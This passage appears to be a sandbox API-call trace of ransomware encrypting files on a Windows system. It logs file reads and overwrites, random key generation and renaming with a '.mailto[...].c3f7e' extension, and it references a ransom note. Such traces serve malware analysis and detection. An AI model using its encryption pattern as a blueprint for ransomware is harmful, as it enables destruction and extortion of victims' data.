	[0073.502] wcscmp (_String1="stop.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0073.502] wcscmp (_String1="SysReqMet.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="SysReqMet.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0073.502] wcscmp (_String1="SysReqNotMet.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="SysReqNotMet.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="warn.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="warn.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0073.502] FindClose (in: hFindFile=0x2d70c40 | out: hFindFile=0x2d70c40) returned 1
	[0073.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734a30) returned 1
	[0073.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47304c0) returned 1
	[0073.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73030) returned 1

Thread:
	id = 71
	os_tid = 0x1300

	[0073.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0073.504] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x20) returned 1
	[0073.505] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x658
	[0073.505] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x620f870 | out: lpFileSize=0x620f870*=3628) returned 1
	[0073.505] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0xe28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.505] ReadFile (in: hFile=0x658, lpBuffer=0x620f7f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x620f7f0, lpOverlapped=0x0 | out: lpBuffer=0x620f7f4*, lpNumberOfBytesRead=0x620f7f0*=0x4, lpOverlapped=0x0) returned 1
	[0073.506] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0073.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0073.506] NtQuerySystemTime (in: CurrentTime=0x620f7d0 | out: CurrentTime=0x620f7d0*=132251868002445801) returned 0x0
	[0073.506] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xb33c85c
	[0073.506] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xe3839b8f
	[0073.506] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x6a9d2ba
	[0073.506] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xfe37b6c3
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xb883a877
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x257ed684
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x4434029c
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x53173a44
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x8a4a489
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x6d57cc16
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x75a3215c
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xfa97c4d2
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x198cdcdb
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xca394adf
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x2a5175ff
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xc4a9c4ce
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xed468d9e
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xb1a36149
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xc060b714
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xbeb3bc3e
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x7b6b6484
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xc2bfab01
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x8f8dc2ac
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xce1ae228
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x1292ff54
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xd9715672
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x3f9bf696
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x8c04eee9
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xc57dcec4
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x9be879ee
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0x9de4d968
	[0073.507] RtlRandom (in: Seed=0x620f7dc | out: Seed=0x620f7dc) returned 0xddba8930
	[0073.517] ReadFile (in: hFile=0x658, lpBuffer=0x474e378, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x620f7cc, lpOverlapped=0x0 | out: lpBuffer=0x474e378*, lpNumberOfBytesRead=0x620f7cc*=0xe2c, lpOverlapped=0x0) returned 1
	[0073.517] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.517] WriteFile (in: hFile=0x658, lpBuffer=0x475ab80*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x620f7c8, lpOverlapped=0x0 | out: lpBuffer=0x475ab80*, lpNumberOfBytesWritten=0x620f7c8*=0xe2c, lpOverlapped=0x0) returned 1
	[0076.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34758
	[0076.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34640
	[0076.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0076.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475ab80) returned 1
	[0076.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x474e378) returned 1
	[0076.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733208) returned 1
	[0076.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77e70
	[0076.439] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.439] WriteFile (in: hFile=0x658, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x620f830, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x620f830*=0x105, lpOverlapped=0x0) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d782f0) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e70) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0076.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0076.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b810
	[0076.441] wcscpy (in: _Dest=0x2d7b810, _Source="C:\\588bce7c90097ed212\\header.bmp" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp"
	[0076.441] wcscat (in: _Dest=0x2d7b810, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\header.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.441] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\header.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x620f7e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\header.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f5b0
	[0076.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f5b0) returned 1
	[0076.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78b40) returned 1
	[0076.442] NtQueryInformationFile (in: FileHandle=0x658, IoStatusBlock=0x620f7f4, FileInformation=0x620f7cc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x620f7f4, FileInformation=0x620f7cc) returned 0x0
	[0076.442] NtSetInformationFile (FileHandle=0x658, IoStatusBlock=0x620f7f4, FileInformation=0x620f7cc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b810) returned 1
	[0076.443] FlushFileBuffers (hFile=0x658) returned 1
	[0076.447] CloseHandle (hObject=0x658) returned 1
	[0076.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85bd8
	[0076.447] wcscpy (in: _Dest=0x2d85bd8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.447] wcscat (in: _Dest=0x2d85bd8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.447] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85bd8) returned 1
	[0076.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64948) returned 1

Thread:
	id = 72
	os_tid = 0x12f0

	[0073.506] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0073.518] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz", dwFileAttributes=0x20) returned 1
	[0073.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x664
	[0073.518] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x628f904 | out: lpFileSize=0x628f904*=181483595) returned 1
	[0073.518] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0xad13847, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.518] ReadFile (in: hFile=0x664, lpBuffer=0x628f888, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x628f884, lpOverlapped=0x0 | out: lpBuffer=0x628f888*, lpNumberOfBytesRead=0x628f884*=0x4, lpOverlapped=0x0) returned 1
	[0073.522] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0073.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.522] NtQuerySystemTime (in: CurrentTime=0x628f864 | out: CurrentTime=0x628f864*=132251868002602745) returned 0x0
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xf6c0440d
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x4d3a7a49
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xe7a0ce89
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x59e14ac6
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xa0cf9d7a
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x317bd36
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x9dd413b3
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x4d40b78e
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xbf3fc9bc
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xce05b401
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xe35e6d0e
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x2896095f
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xd960f19d
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xbd3bb780
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xccce91f9
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x365a23eb
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xb42576ed
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x7e851f09
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x16655cca
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x18e156e8
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x2f834867
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x2c5b0dab
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x6e42851b
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xdd9f5322
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x1cc2d808
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x98f21426
	[0073.522] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x743ef6d9
	[0073.523] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xcd582d5
	[0073.523] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xe5b02add
	[0073.523] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x2c74fbd5
	[0073.523] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0xc6481a0c
	[0073.523] RtlRandom (in: Seed=0x628f870 | out: Seed=0x628f870) returned 0x1c48faad
	[0073.531] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.531] ReadFile (in: hFile=0x664, lpBuffer=0x4767388, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4767388*, lpNumberOfBytesRead=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0073.537] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73030
	[0073.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4733280
	[0073.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0073.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4773b90
	[0073.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0073.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0073.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733280) returned 1
	[0073.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73030) returned 1
	[0073.539] WriteFile (in: hFile=0x664, lpBuffer=0x4773b90*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4773b90*, lpNumberOfBytesWritten=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.452] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773b90) returned 1
	[0076.459] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x5692800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.459] ReadFile (in: hFile=0x664, lpBuffer=0x4767388, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4767388*, lpNumberOfBytesRead=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.462] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x5692800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73738
	[0076.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0076.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4773b90
	[0076.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0076.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0076.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.466] WriteFile (in: hFile=0x664, lpBuffer=0x4773b90*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4773b90*, lpNumberOfBytesWritten=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773b90) returned 1
	[0076.467] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0xad0704b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.467] ReadFile (in: hFile=0x664, lpBuffer=0x4767388, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4767388*, lpNumberOfBytesRead=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.470] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0xad0704b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73738
	[0076.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0076.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34640
	[0076.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0076.471] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4773b90
	[0076.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34618
	[0076.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0076.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0076.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.472] WriteFile (in: hFile=0x664, lpBuffer=0x4773b90*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x628f81c, lpOverlapped=0x0 | out: lpBuffer=0x4773b90*, lpNumberOfBytesWritten=0x628f81c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773b90) returned 1
	[0076.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733800
	[0076.476] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.476] WriteFile (in: hFile=0x664, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x628f8c4, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x628f8c4*=0x14d, lpOverlapped=0x0) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c068) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77290) returned 1
	[0076.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0076.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x2d788e0
	[0076.479] wcscpy (in: _Dest=0x2d788e0, _Source="C:\\588bce7c90097ed212\\netfx_Core.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz"
	[0076.479] wcscat (in: _Dest=0x2d788e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.479] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x628f87c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61f20
	[0076.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61f20) returned 1
